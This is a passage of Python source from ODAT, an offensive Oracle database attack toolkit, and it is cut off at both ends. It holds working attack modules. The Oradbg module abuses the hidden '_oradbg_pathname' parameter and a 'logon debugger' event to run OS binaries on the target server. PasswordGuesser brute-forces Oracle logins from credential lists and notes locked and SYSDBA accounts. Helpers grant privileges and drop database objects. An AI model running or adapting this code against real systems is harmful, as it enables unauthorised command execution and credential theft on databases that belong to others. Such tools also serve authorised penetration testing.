self.ERROR_NOT_SYSDBA in str(e): logging.info("Connection as SYS should be as SYSDBA or SYSOPER, try to connect as SYSDBA") self.args['SYSDBA'] = True return self.connection(threaded=threaded, stopIfError=stopIfError) elif self.ERROR_INSUFF_PRIV_CONN in str(e): logging.info("Insufficient privileges, SYSDBA or SYSOPER disabled") self.args['SYSDBA'] = False self.args['SYSOPER'] = False return self.connection(threaded=threaded, stopIfError=stopIfError) elif self.ERROR_SHARED_MEMORY in str(e): logging.critical("Error server side ('ORA-27101: shared memory realm does not exist').") logging.critical("You should try to use a TNS Connection String instead of a connection sting as 'server:port/instance_name'") logging.critical("You have to TRY WITH '-t' option!") exit(EXIT_BAD_CONNECTION) elif stopIfError == True: logging.critical("Impossible to connect to the remote database: {0}".format(self.cleanError(e))) exit(EXIT_BAD_CONNECTION) else : return ErrorSQLRequest(e) def __retryConnect__(self, nbTry=3): ''' Try to re connect when TARGET UNAVAILABLE return status return None if impossible to connect to the database server ''' timesleep, status = 2, '' for tryNum in range(nbTry): logging.debug("Re connection {0} to the listener on the {1} server".format(tryNum+1, self.args['server'])) sleep(timesleep) status = self.connection() if self.__needRetryConnection__(status) == False: logging.debug("Re-connection done !") return status if tryNum == nbTry-1 : logging.warning("Becareful! The remote is now unavailable. {0} SID not tried. Perhaps you are doing a DOS on the listener.".format(self.args['sid'])) timesleep += 4 logging.debug("Impossible to re-establish the connection!") return None def __needRetryConnection__ (self, status): ''' Return True if need retry the connection (server unaivalable) else return False ''' for aString in self.TARGET_UNAVAILABLE: if aString in str(status): return True return False def close(self): ''' Close connection to the database ''' if 'dbcon' in self.args: try: self.args['dbcon'].close() except Exception as e: logging.debug("Impossible to close the connection to the database: {0}".format(e)) def __execThisQuery__(self, query=None, ld=[], isquery=True, getColumnNames=False, stringOnly=False): ''' Create a cursor and execute the SQL request in 'query'. Return a list of tuples by default e.g. [(valueA, valueB,),(valueAA,valueBB,), etc] If ld != [], load in a dictionary all results according to ld (column names) and return a dictionary e.g. [{'column1':'valueA', 'column2':'valueB'}, etc] If getColumns is enabled (not by default), returns columns in first results. Incompatible with ld otpion. If stringOnly enabled, try to convert all columns as string when required (e.g. datetime) or convert to repr() if impossible. Incompatible with ld option. ''' results = [] if ld!=[] and (getColumnNames==True or stringOnly==True): logging.error("INTERNAL BUG: ld option is not compatible with getColumnNames or stringOnly in __execThisQuery__(). Fix that quickly!") cursor = self.args['dbcon'].cursor() try: if self.args['show_sql_requests'] == True: logging.info("SQL request executed: {0}".format(query)) cursor.execute(query) except Exception as e: logging.info("Impossible to execute the query {0}: '{1}'".format(repr(query), self.cleanError(e))) if self.ERROR_NOT_CONNECTED in str(e): status = self.__retryConnect__(nbTry=3) if status == None : return ErrorSQLRequest("Disconnected. Impossible to re-establish a connection to the database server !") else : return self.__execThisQuery__(query=query,ld=ld,isquery=isquery) else : return ErrorSQLRequest(e) if isquery==True : try : cursor.arraysize = 256 results = cursor.fetchall() except Exception as e: if self.cleanError(e) == "not a query": logging.debug("{0} is not a query, returning [] as result".format(query)) return [()] else: logging.warning("Impossible to fetch all the rows of the query {0}: `{1}`".format(query, self.cleanError(e))) return ErrorSQLRequest(e) if stringOnly == True: logging.debug("Converting all columns as string if required...") resultsAsString = [] for aR in results: aResultAsString = [] for v in aR: vString = None try: vString = str(v) except Exception: logging.debug("Impossible to convert {0} as string for request {1}".format(repr(aR),repr(query))) vString = repr(v) aResultAsString.append(vString) resultsAsString.append(aResultAsString) results = resultsAsString if getColumnNames==True: logging.debug("Extracting column names and returning them in results...") columnNames = [row[0] for row in cursor.description] results = [tuple(columnNames)] + results else : cursor.close() return 0 cursor.close() if ld==[] : return results else : values = [] for line in results: dico = {} for i in range(len(line)): dico[ld[i]] = line[i] values.append(dico) return values def __execPLSQL__(self,request): ''' Execute this PL/SQL request ''' return self.__execThisQuery__(query=request,ld=[],isquery=False) def __execQuery__(self,query,ld=[],getColumnNames=False,stringOnly=False): ''' Execute the query (not PL/SQL) and parse response ''' return self.__execThisQuery__(query=query, ld=ld, isquery=True,getColumnNames=getColumnNames,stringOnly=stringOnly) def __execProc__(self,proc,options=None): ''' Execute the stored procedure - proc: procedure name - options: callproc parameters (see http://cx-oracle.readthedocs.org/en/latest/cursor.html) Return True if no error. Otherwise returns Exception (ErrorSQLRequest) ''' cursor = cx_Oracle.Cursor(self.args['dbcon']) try: if options == None : cursor.callproc(proc) else: cursor.callproc(proc,options) except Exception as e: logging.info("Impossible to execute the procedure `{0}`: {1}".format(proc, self.cleanError(e))) cursor.close() return ErrorSQLRequest(e) cursor.close() return True def __execPLSQLwithDbmsOutput__(self,request,addLineBreak=False): ''' Execute the request containing dbms_output ''' responsedata = "" cursor = cx_Oracle.Cursor(self.args['dbcon']) try : cursor.callproc("dbms_output.enable") try: cursor.execute(request) except Exception as e: logging.info("Impossible to execute the query `{0}`: {1}".format(request, self.cleanError(e))) return ErrorSQLRequest(e) else : statusVar = cursor.var(cx_Oracle.NUMBER) lineVar = cursor.var(cx_Oracle.STRING) while True: cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: break line = lineVar.getvalue() if line == None : line = '' responsedata += line if addLineBreak == True : responsedata +='\n' cursor.close() except Exception as e: logging.info("Error with the request: {0}".format(str(e))) return ErrorSQLRequest(e) return responsedata def __generateRandomString__(self, nb=20): ''' Generate a random string of nb chars ''' return ''.join(random.choice(string.ascii_uppercase) for x in range(nb)) def __loadFile__(self, localFile): ''' Return if it is a text file and return data stored in the localFile file If an error, return the error ''' logging.debug("Loading the {0} file".format(localFile)) data = '' try: f = open(localFile,'rb') data = f.read() f.close() except Exception as e: logging.warning('Error during the read: {0}'.format(str(e))) return e return data def getStandardBarStarted(self, maxvalue): """Standard status bar""" logging.debug("Creating a standard Bar with number of values = {0}".format(maxvalue)) return ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=maxvalue).start() def cleanError(self,errorMsg): ''' Replace \n and \t by escape ''' return str(errorMsg).replace('\n',' ').replace('\t',' ') def writeFile(self,nameFile, data, mode='w'): ''' Write a new file named nameFile containing data Return True if Good, otherwise return False ''' logging.info("Create the {0} file".format(nameFile)) try: f = open(nameFile,mode) f.write(data) f.close() except Exception as e: logging.warning('Error during the writing of the {0} file: {1}'.format(nameFile,self.cleanError(e))) return False return True def getDatabasePlatfromName(self): """ Return platform_name string from v$database. It is possible the current user has not privileges on table v$database. Return "" if an error """ platformName = "" REQ = "SELECT platform_name FROM v$database" REQ2 = "select dbms_utility.port_string from dual" response = self.__execQuery__(query=REQ, ld=['platform_name']) if isinstance(response,Exception): logging.debug("Impossible to get remote platform name with v$database") return self.getDatabasePlatfromNameWithPortString() else: if len(response)>0 and isinstance(response[0],dict): platformName = response[0]['platform_name'] logging.debug("Remote platform name: {0}".format(platformName)) return platformName else: logging.debug("Impossible to get remote platform name with v$database") return platformName def getDatabasePlatfromNameWithPortString(self): """ Return platform_name string from port_string. Return "" if an error """ platformName = "" REQ = "select dbms_utility.port_string from dual" response = self.__execQuery__(query=REQ, ld=['platform_name']) if isinstance(response,Exception): logging.debug("Impossible to get remote platform name with port_string") return platformName else: if len(response)>0 and isinstance(response[0],dict): platformName = response[0]['platform_name'] logging.debug("Remote platform name: {0}".format(platformName)) return platformName else: logging.debug("Impossible to get remote platform name with port_string") return platformName def getOSFromPortString(self): """ Return OS string from dbms_utility.port_string All users have access to this information The DBMS_UTILITY.port_string function returns the operating system and the TWO TASK PROTOCOL version of the database. Return "" if an error """ REQ = "SELECT dbms_utility.port_string FROM dual" response = self.__execQuery__(query=REQ, ld=['PORT_STRING']) if isinstance(response,Exception): return "" else: if len(response)>0 and isinstance(response[0],dict): return response[0]['PORT_STRING'] else: return "" def loadInformationRemoteDatabase(self): ''' Get the oracle versions ''' if 'dbcon' not in self.args : self.remoteOS = "" return False logging.debug ("Pickup the remote verion") self.oracleDatabaseversion = self.args['dbcon'].version logging.debug("Remote database version: {0}".format(self.oracleDatabaseversion)) logging.debug ("Pickup the remote Operating System") self.remoteOS = self.getDatabasePlatfromName() if self.remoteOS != "": logging.info("OS version from getDatabasePlatfromName(): {0}".format(self.remoteOS)) return True self.remoteOS = self.getOSFromPortString() if self.remoteOS != "": logging.info("OS version from getOSFromPortString: {0}".format(self.remoteOS)) return True REQ = "select rtrim(substr(replace(banner,'TNS for ',''),1,instr(replace(banner,'TNS for ',''),':')-1)) os from v$version where banner like 'TNS for %'" response = self.__execQuery__(query=REQ,ld=['OS']) if isinstance(response,Exception): return False else : if isinstance(response,list) and len(response)>0 and isinstance(response[0],dict): self.remoteOS = response[0]['OS'] logging.info("OS version : {0}".format(self.remoteOS)) return True else: return False def remoteSystemIsWindows(self): ''' Return True if Windows select * from v$transportable_platform; can be used for get all strings possible ''' if self.remoteOS == "": self.loadInformationRemoteDatabase() if self.remoteOS == "": logging.warning("Impossible to known the remote target OS") if "windows" in self.remoteOS.lower() or "win_nt" in self.remoteOS.lower(): return True else : return False def remoteSystemIsLinux(self): ''' Return True if Linux select * from v$transportable_platform; can be used for get all strings possible ''' if self.remoteOS == "": self.loadInformationRemoteDatabase() if self.remoteOS == "": logging.warning("Impossible to known the remote target OS") if "linux" in self.remoteOS.lower() or 'solaris' in self.remoteOS.lower() : return True else : return False def isDBVersion(self, version=None): ''' Return True if remote database version is version given in parameter ''' if version in self.oracleDatabaseversion : return True else: return False def isDBVersionHigherThan11(self, version=None): ''' Return True if remote database version is 11g or higher ''' if self.isDBVersion('11.') or self.isDBVersion('12.') or self.isDBVersion('18.') or self.isDBVersion('19.'): return True else: return False def isDBVersionHigherThan12(self, version=None): ''' Return True if remote database version is 12c or higher ''' if self.isDBVersion('12.') or self.isDBVersion('18.') or self.isDBVersion('19.'): return True else: return False def hasThisRole(self, role, user=None): ''' Returns True if user has role. Otherwise returns False Returns None if error If user = None, user = current user ''' if user == None : user = self.args['user'] self.REQ_HAS_THIS_ROLE = "SELECT username FROM user_role_privs WHERE username='{0}' and granted_role='{1}'".format(user.upper(), role) response = self.__execQuery__(query=self.REQ_HAS_THIS_ROLE,ld=['username']) if isinstance(response,Exception): logging.info("Impossible to know if {0} has the role {1}: {2}".format(user, role, self.cleanError(response))) return None else: if isinstance(response,list): if len(response)==0: logging.debug("{0} has not the '{1}' role".format(user, role)) return False else: logging.debug("{0} has the '{1}' role".format(user, role)) return True else: logging.info("Impossible to know if {0} has the '{1}' role".format(user, role)) return None def hasThisPrivilege (self, privilege, user=None): ''' Returns True if user has privilege. Otherwise returns False Returns None if error If user = None, user = current user ''' if user == None : user = self.args['user'] self.REQ_HAS_THIS_PRIVILEGE = "SELECT privilege FROM user_sys_privs WHERE privilege ='{0}'".format(privilege) response = self.__execQuery__(query=self.REQ_HAS_THIS_PRIVILEGE,ld=['privilege']) if isinstance(response,Exception): logging.info("Impossible to know if {0} has the '{1}' privilege: {2}".format(user, privilege, self.cleanError(response))) return None else: if isinstance(response,list): if len(response)==0: logging.debug("{0} has not the '{1}' privilege".format(user, privilege)) return False else: logging.debug("{0} has the '{1}' privilege".format(user, privilege)) return True else: logging.info("Impossible to know if {0} has the '{1}' privilege".format(user, privilege)) return None def grantPrivilegeOnObjectToUser(self, privilege, objectname, user): ''' Grant the privilege on objectname to user Returns True ifprivilege has been granted. Otherwise returns Exception If user = None, user = current user ''' if user == None : user = self.args['user'] REQUEST_GRANT_PRIVILEGE_ON_OBJECT_TO_USER = "GRANT {0} ON {1} TO {2}".format(privilege, objectname, user) logging.info("Trying to grant '{0}' privilege on '{1}' to '{2}'".format(privilege, objectname, user)) status = self.__execPLSQL__(REQUEST_GRANT_PRIVILEGE_ON_OBJECT_TO_USER) if isinstance(status, Exception): logging.info("Impossible to grant '{0}' privilege on '{1}' to '{2}': '{3}'".format(privilege, objectname, user, self.cleanError(status))) return status else : logging.debug("'{0}' privilege on '{1}' to '{2}' has been granted".format(privilege, objectname, user)) return True def dropStoredProcedure(self, procName, schema=None): ''' returns True if dropped. Otherwise returns False ''' if schema==None : REQUEST_DROP_STORED_PROCEDURE = "DROP PROCEDURE {0}".format(procName) else: REQUEST_DROP_STORED_PROCEDURE = "DROP PROCEDURE {1}.{0}".format(procName, schema) logging.info("Trying to drop the stored procedure '{0}'".format(procName)) status = self.__execPLSQL__(REQUEST_DROP_STORED_PROCEDURE) if isinstance(status, Exception): logging.info("Impossible to drop the stored procedure '{0}': '{1}'".format(procName, self.cleanError(status))) return False else : logging.debug("The stored procedure '{0}' has bee dropped".format(procName)) return True def dropStoredFunction(self, fctName, schema=None): ''' returns True if dropped. Otherwise returns False ''' if schema==None : REQUEST_DROP_STORED_FUNCTION = "DROP FUNCTION {0}".format(fctName) else: REQUEST_DROP_STORED_FUNCTION = "DROP FUNCTION {1}.{0}".format(fctName, schema) logging.info("Trying to drop the stored function '{0}'".format(fctName)) status = self.__execPLSQL__(REQUEST_DROP_STORED_FUNCTION) if isinstance(status, Exception): logging.info("Impossible to drop the stored function '{0}': '{1}'".format(fctName, self.cleanError(status))) return False else : logging.debug("The stored function '{0}' has bee dropped".format(fctName)) return True def dropIndex(self, indexName, schema=None): ''' returns True if dropped. Otherwise returns False ''' indexName = indexName.upper() if schema==None : REQUEST_DROP_INDEX = "DROP INDEX {0}".format(indexName) else: REQUEST_DROP_INDEX = "DROP INDEX {1}.{0}".format(indexName, schema) logging.info("Trying to drop the index named '{0}'".format(indexName)) status = self.__execPLSQL__(REQUEST_DROP_INDEX) if isinstance(status, Exception): logging.info("Impossible to drop the index '{0}': '{1}'".format(indexName, self.cleanError(status))) return False else : logging.debug("The stored function '{0}' has been dropped".format(indexName)) return True def dropTrigger(self, triggerName, schema=None): ''' returns True if dropped. Otherwise returns False ''' triggerName = triggerName.upper() if schema==None : REQUEST_DROP_TRIGGER = "DROP TRIGGER {0}".format(triggerName) else: REQUEST_DROP_TRIGGER = "DROP TRIGGER {1}.{0}".format(triggerName, schema) logging.info("Trying to drop the trigger named '{0}'".format(triggerName)) status = self.__execPLSQL__(REQUEST_DROP_TRIGGER) if isinstance(status, Exception): logging.info("Impossible to drop the trigger '{0}': '{1}'".format(triggerName, self.cleanError(status))) return False else : logging.debug("The trigger '{0}' has been dropped".format(triggerName)) return True def isWorkingTnsListener(self): ''' Returns True when the TNS listener is well configured and it can be used for connection. Otherwise, return False Sends a connection with an invalid login, password and SID. If TNS listener is working, the TNS listener should returns an error with the SID. Ib this case, the TNS listener is working. Otherwise, TNS does not work well. ''' workingTNS = False lastServiceName = self.args['serviceName'] self.args['serviceName'] = None lastSID = self.args['sid'] self.args['sid'] = self.__generateRandomString__(nb=12) self.__generateConnectionString__(username=self.__generateRandomString__(nb=15), password=self.__generateRandomString__(nb=5)) logging.debug("Checking if {0}:{1} is a working TNS listener...".format(self.args['server'], self.args['port'])) status = self.connection(stopIfError=False) #We have an error, because SID is not valid if 'ORA-12505' in str(status): logging.debug("{0}:{1} is a working TNS listener according to error".format(self.args['server'], self.args['port'])) workingTNS = True else: logging.debug("{0}:{1} is NOT a working TNS listener according to error : {2}".format(self.args['server'], self.args['port'], str(status))) self.close() self.args['sid'] = lastSID self.args['serviceName'] = lastServiceName return workingTNS odat-5.1.1/Oradbg.py000066400000000000000000000055571423220672100142300ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase import logging, cx_Oracle from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser from Constants import * class Oradbg (OracleDatabase): ''' Allow the user to execute a binary stored on the server ''' def __init__(self,args): ''' Constructor ''' logging.debug("Oradbg object created") OracleDatabase.__init__(self,args) def execOSCommand(self,cmd): ''' Execute a binary or script stored on the server ''' logging.info('Execute the following command on the remote database system: {0}'.format(cmd)) logging.info('Be Careful: script or bin without special chars is allowed') logging.debug('Setting the _oradbg_pathname variable to {0}'.format(cmd)) REQUEST = "alter system set \"_oradbg_pathname\"='{0}'".format(cmd) response = self.__execPLSQL__(REQUEST) if isinstance(response,Exception): logging.info("Impossible to set _oradbg_pathname: '{0}'".format(self.cleanError(response))) return response else: logging.debug('Setting the system set events') REQUEST = "alter system set events 'logon debugger'" response = self.__execPLSQL__(REQUEST) if isinstance(response,Exception): logging.info('Impossible to set system events: {0}'.format(self.cleanError(response))) return response else : logging.debug('Connecting to the database to run the script/bin') status = self.connection(threaded=False, stopIfError=False) if isinstance(response,Exception): return ErrorSQLRequest("Impossible to connect to the remmote database to run the bin/script: {0}".format(self.cleanError(e))) return True def testAll (self): ''' Test all functions ''' self.args['print'].subtitle("Oradbg ?") command = self.__generateRandomString__() logging.info("Try to use _oradbg_pathname variable to execute the following random command: {0}".format(command)) status = self.execOSCommand(cmd=command) if status == True : self.args['print'].goodNews("OK") else : self.args['print'].badNews("KO") def runOradbgModule(args): ''' Run the Oradbg module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","exec"]) == False : return EXIT_MISS_ARGUMENT oradbg = Oradbg(args) status = oradbg.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the Oradbg can be used") status = oradbg.testAll() #Option 1: exec if args['exec'] != None: args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server'])) status = oradbg.execOSCommand(args['exec']) if status == True: args['print'].goodNews("The `{0}` command was executed on the {1} server (probably)".format(args['exec'],args['server'])) else : args['print'].badNews("The `{0}` command was not executed on the {1} server: {2}".format(args['exec'],args['server'],str(status))) oradbg.close() odat-5.1.1/Output.py000066400000000000000000000066551423220672100143320ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- #PYTHON_TERMCOLOR_OK try: from termcolor import colored TERMCOLOR_AVAILABLE = True except ImportError: TERMCOLOR_AVAILABLE = False class Output (): ''' All output except log used this object ''' def __init__(self, args): ''' CONSTRUCTOR ''' self.args = args self.noColor = args['no-color'] self.titlePos = 0 self.subTitlePos = 0 self.subSubTitlePos = 0 def title (self, m): ''' print a title ''' server, port = "", "" m = m.encode(encoding='UTF-8',errors='ignore') self.titlePos += 1 self.subTitlePos = 0 if 'server' in self.args: server = self.args['server'] else: server = "Unknown" if 'port' in self.args: port = self.args['port'] else: port = "port" formatMesg = '\n[{0}] {1}: {2}'.format(self.titlePos,'({0}:{1})'.format(server,port),m.decode()) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print(formatMesg) else : print(colored(formatMesg, 'white',attrs=['bold'])) def subtitle (self, m): ''' print a subtitle ''' m = m.encode(encoding='UTF-8',errors='ignore') self.subTitlePos += 1 self.subSubTitlePos += 0 formatMesg = '[{0}.{1}] {2}'.format(self.titlePos, self.subTitlePos, m.decode()) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print(formatMesg) else : print(colored(formatMesg, 'white',attrs=['bold'])) def subsubtitle (self, m): ''' print a sub-subtitle ''' m = m.encode(encoding='UTF-8',errors='ignore') self.subSubTitlePos += 1 formatMesg = '[{0}.{1}.{2}] {3}'.format(self.titlePos, self.subTitlePos, self.subSubTitlePos, m.decode()) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print(formatMesg) else : print(colored(formatMesg, 'white',attrs=['bold'])) def badNews (self, m): ''' print a stop message ''' m = m.encode(encoding='UTF-8',errors='ignore') formatMesg = '[-] {0}'.format(m.decode()) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print(formatMesg) else : print(colored(formatMesg, 'red',attrs=['bold'])) def goodNews(self,m): ''' print good news ''' m = m.encode(encoding='UTF-8',errors='ignore') formatMesg = '[+] {0}'.format(m.decode()) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print(formatMesg) else : print(colored(formatMesg, 'green',attrs=['bold'])) def unknownNews(self,m): ''' print unknow news ''' m = m.encode(encoding='UTF-8',errors='ignore') formatMesg = '[+] {0}'.format(m.decode()) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print(formatMesg) else : print(colored(formatMesg, 'yellow',attrs=['bold'])) def printImportantNotice(self,m): ''' print important notice ''' m = m.encode(encoding='UTF-8',errors='ignore') formatMesg = '[!] Notice: {0}'.format(m.decode()) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print(formatMesg) else : print(colored(formatMesg, 'yellow',attrs=['bold'])) def printOSCmdOutput(self,m): ''' print the output of a OS command ''' print(m.encode(encoding='UTF-8',errors='ignore').decode()) def getColoredString(self, string, color, attrs=[]): ''' ''' if self.noColor == True or TERMCOLOR_AVAILABLE == False: return string else : return colored(string, color, attrs=attrs) def printMessage (self, m): ''' print a message ''' formatMesg = '[+] {0}'.format(m) if self.noColor == True or TERMCOLOR_AVAILABLE == False: print(formatMesg) else : print (colored(formatMesg, 'white',attrs=['bold'])) odat-5.1.1/PasswordGuesser.py000066400000000000000000000276671423220672100162000ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase from time import sleep import logging, os.path from Constants import * from Utils import sidOrServiceNameHasBeenGiven, stringToLinePadded, getCredentialsFormated, getSIDorServiceNameWithType, getSIDorServiceName from random import shuffle class PasswordGuesser (OracleDatabase): ''' Password guesser ''' def __init__(self, args, accountsFile, loginFile=None, passwordFile=None, loginAsPwd=False, password=None, bothUpperLower=False, randomOrder=False, timeSleep=0): ''' Constructor ''' OracleDatabase.__init__(self,args) self.accountsFile = accountsFile self.loginFile = loginFile self.passwordFile = passwordFile self.loginAsPwd = loginAsPwd self.separator = args['separator'] # Separator for credentials self.bothUpperLower = bothUpperLower self.randomOrder = randomOrder self.password = password if self.accountsFile == '' : self.accounts = [] else : self.accounts = self.__loadAccounts__() self.valideAccounts = {} self.args['SYSDBA'] = False self.args['SYSOPER'] = False self.timeSleep = timeSleep def getAccountsFromFile (self): ''' return list which contains accounts ''' return self.accounts def __loadAccounts__(self): ''' Load credentials stored in file(s) according to contructor arguments. Impossible to have duplicate credentials. return a list containing each account e.g. [['login1','pwd1'], etc] ''' accountsDict = {} #For saving temporarily credentials in a dict (of username) finalUniqAccounts = [] #Contain each uniq account e.g. [['login1','pwd1'], etc] logins = [] #For saving all logins when a login file and a pwd file are given passwords = [] #For saving all pwds when a login file and a pwd file are given if self.accountsFile != None: logging.info('Loading accounts stored in the uniq file {0}'.format(repr(self.accountsFile))) logging.info("Separator between login and password fixed on {0}".format(repr(self.separator))) f = open(self.accountsFile) for l in f: lsplit = l.replace('\n','').replace('\t','').split(self.separator) if isinstance(lsplit, list) and len(lsplit) == 2 : if lsplit[0] not in accountsDict: accountsDict[lsplit[0]] = [lsplit[1]] else: accountsDict[lsplit[0]].append(lsplit[1]) else: logging.warning("The line {0} is not loaded in credentials list: {1}".format(repr(l), repr(lsplit))) f.close() elif self.loginFile!=None and self.password!=None: logging.info('Loading logins/usernames stored in the file {0} with the password {1}'.format(repr(self.loginFile), repr(self.password))) logins = self.__getLoginsList__() for aLogin in logins: accountsDict[aLogin] = [self.password] else: logging.info('Loading logins stored in {0} and passwords stored in {1}'.format(self.loginFile, self.passwordFile)) logins = self.__getLoginsList__() passwords = self.__getPasswordsList__() for aLogin in logins: for aPwd in passwords: if aLogin not in accountsDict: accountsDict[aLogin] = [aPwd] else: accountsDict[aLogin].append(aPwd) if self.loginAsPwd == True: logging.info('Each login is saved as password (in lower case and upper case) if it is not done yet') for aLogin in accountsDict: if aLogin.lower() not in accountsDict[aLogin]: accountsDict[aLogin].append(aLogin.lower()) if aLogin.upper() not in accountsDict[aLogin]: accountsDict[aLogin].append(aLogin.upper()) if self.bothUpperLower == True: logging.info("Each password of each username is saved in lower case and upper case if it is not done yet") for aLogin in accountsDict: for aPwd in accountsDict[aLogin]: if aPwd.lower() not in accountsDict[aLogin]: accountsDict[aLogin].append(aPwd.lower()) if aPwd.upper() not in accountsDict[aLogin]: accountsDict[aLogin].append(aPwd.upper()) #Transform dictionary of accounts to list for aLogin in accountsDict: for aPwd in accountsDict[aLogin]: finalUniqAccounts.append([aLogin, aPwd]) if self.randomOrder == True: shuffle(finalUniqAccounts) logging.info("{0} paired login/password loaded".format(len(finalUniqAccounts))) if len(finalUniqAccounts) == 0: logging.warning("0 login/password loaded. It seems there is an error with your account file") return finalUniqAccounts def __getLoginsList__(self): ''' Returns logins stored in self.loginFile as a list. usernames are in lowercases. Remove duplicate usernames/logins. ''' logins = [] logging.debug("Loading usernames/logins stored in {0}...".format(repr(self.loginFile))) f = open(self.loginFile) for l in f: aLogin = l.replace('\n', '').replace('\t', '').lower() if aLogin not in logins: logins.append(aLogin) f.close() logging.debug("Usernames/logins loaded from {0}: {1} uniq usernames loaded".format(repr(self.loginFile), len(logins))) return logins def __getPasswordsList__(self): ''' Returns passwords stored in self.passwordFile as a list Remove duplicate passwords ''' passwords = [] logging.debug("Loading password stored in {0}...".format(repr(self.passwordFile))) f = open(self.passwordFile) for l in f: aPwd = l.replace('\n', '').replace('\t', '') if aPwd not in passwords: passwords.append(aPwd) f.close() logging.debug("Passwords loaded from {0}: {1} uniq passwords loaded".format(repr(self.passwordFile), len(passwords))) return passwords def searchValideAccounts(self): ''' Search valide accounts. By default, the constructor defines an attack thanks to ONE file wich contains usernames & passwords (with a separator). Return True if no error, owtherwise False (i.e. pb with accounts) ''' userChoice = 1 lockedUsernames = [] logging.info("Searching valid accounts on {0}:{1}/{2}".format(self.args['server'], self.args['port'], getSIDorServiceNameWithType(self.args))) logging.debug("{0} accounts will be tested".format(len(self.accounts))) if len(self.accounts) == 0: return False pbar,nb = self.getStandardBarStarted(len(self.accounts)), 0 for anAccount in self.accounts: nb += 1 pbar.update(nb) self.args['SYSDBA'] = False self.args['SYSOPER'] = False logging.debug("Try to connect with {0}".format('/'.join(anAccount))) self.args['user'], self.args['password'] = anAccount[0], anAccount[1] self.__generateConnectionString__() status = self.__saveThisLoginInFileIfNotExist__(self.args['user']) if self.args['force-retry'] == False and status == False and userChoice in [1,3]: userChoice = self.__askToTheUserIfNeedToContinue__(self.args['user']) if userChoice == 0 : logging.info("The attack is aborded because you choose to stop (s/S)") break if userChoice == 3: logging.info("Skip account {0} and continue to next one. Ask each time".format(repr(self.args['user']))) elif self.args['user'].lower() in lockedUsernames: logging.info("Skip this creds {0}/{1} because we known this account is locked".format(repr(self.args['user']),repr(self.args['password']))) else: status = self.connection(threaded=False) if status == True: self.valideAccounts[self.args['user']] = self.args['password'] logging.info("Valid credential: {0} ({1}) ".format('/'.join(anAccount),self.args['connectionStr'])) self.args['print'].goodNews(stringToLinePadded("Valid credentials found: {0}. Continue... ".format('/'.join(anAccount)))) elif "connection as SYS should be as SYSDBA or SYSOPER" in str(status): logging.debug("Try to connect as sysdba") self.args['SYSDBA'] = True status = self.connection() if status == True: self.valideAccounts[self.args['user']] = self.args['password'] logging.info("Valid credential: {0} ({1}) ".format('/'.join(anAccount),self.args['connectionStr'])) self.args['SYSDBA'] = False elif self.__needRetryConnection__(status) == True: status = self.__retryConnect__(nbTry=4) elif self.ERROR_ACCOUNT_LOCKED in str(status): self.args['print'].printImportantNotice("{0} account is locked, so skipping this username for password".format(repr(self.args['user']))) lockedUsernames.append(self.args['user'].lower()) elif self.ERROR_SERVICE_HANDLER in str(status): logging.error("Error during connection with this account. You should use a time sleep between each try: {0}".format(status)) else: logging.debug("Error during connection with this account: {0}".format(status)) self.close() sleep(self.timeSleep) pbar.finish() logging.debug("All these accounts are locked according to errors: {0}".format(lockedUsernames)) return True def __saveThisLoginInFileIfNotExist__(self,login): ''' Save this login in the trace file to known if this login has already been tested If the login is in the file , return False. Otherwise return True ''' if ('loginTraceFile' in self.args) == False: self.args['loginTraceFile'] = "{0}-{1}-{2}{3}".format(self.args['server'], self.args['port'], getSIDorServiceName(self.args), PASSWORD_EXTENSION_FILE) if os.path.isfile(self.args['loginTraceFile']) == False: f=open(self.args['loginTraceFile'],'w') f.close() logging.info("The {0} file has been created".format(self.args['loginTraceFile'])) f=open(self.args['loginTraceFile'],'r') for l in f: aLoginInFile = l.replace('\n','') if login == aLoginInFile : f.close() return False f.close() f=open(self.args['loginTraceFile'],'a') f.write('{0}\n'.format(login)) f.close() return True def __askToTheUserIfNeedToContinue__(self,login): ''' Ask to the user if the module need to continue return: - 0 : stop (no) - 1 : continue and ask again (yes) - 2 : continue without ask (yes) ''' def askToContinue (): rep = input("The login {0} has already been tested at least once. What do you want to do:\n- stop (s/S)\n- continue and ask every time (a/A)\n- skip and continue to ask (p/P)\n- continue without to ask (c/C)\n".format(login)) if rep == 's' or rep == 'S' : return 0 elif rep == 'a' or rep == 'A' : return 1 elif rep == 'c' or rep == 'C' : return 2 elif rep == 'p' or rep == 'P': return 3 else : return -1 rep = askToContinue() while (rep==-1): rep = askToContinue() return rep def runPasswordGuesserModule(args): ''' Run the PasswordGuesser module ''' if sidOrServiceNameHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT args['print'].title("Searching valid accounts on the {0} server, port {1}".format(args['server'],args['port'])) accountsFile = None accountsFiles = None loginFile = None passwordFile = None loginFile = None password = None if args['accounts-files'][0] != None and args['accounts-files'][1] != None : logging.debug("Login file and password file are given. 'accounts-file' option is disabled") loginFile = args['accounts-files'][0] passwordFile = args['accounts-files'][1] elif args['logins-file-pwd']!= None and args['logins-file-pwd'][0] != None and args['logins-file-pwd'][1] != None : logging.debug("Login file and a password are given. 'accounts-file' and 'accounts-files' options are disabled") loginFile = args['logins-file-pwd'][0] password = args['logins-file-pwd'][1] else: logging.debug("One file with accounts is given") accountsFile = args['accounts-file'] passwordGuesser = PasswordGuesser(args, accountsFile=accountsFile, loginFile=loginFile, passwordFile=passwordFile, timeSleep=args['timeSleep'], loginAsPwd=args['login-as-pwd'], password=password) passwordGuesser.searchValideAccounts() validAccountsList = passwordGuesser.valideAccounts if validAccountsList == {}: args['print'].badNews("No found a valid account on {0}:{1}/{2}. You should try with the option '--accounts-file accounts/accounts_multiple.txt' or 